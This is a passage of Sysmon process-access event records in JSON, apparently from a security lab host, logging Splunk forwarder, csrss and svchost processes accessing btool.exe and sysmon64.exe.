11:52:29.417","SourceProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","SourceProcessId":"4352","SourceThreadId":"2516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010F2380500}","TargetProcessId":"4440","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+181c6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010F2380500}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010F2380500}","TargetProcessId":"4440","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 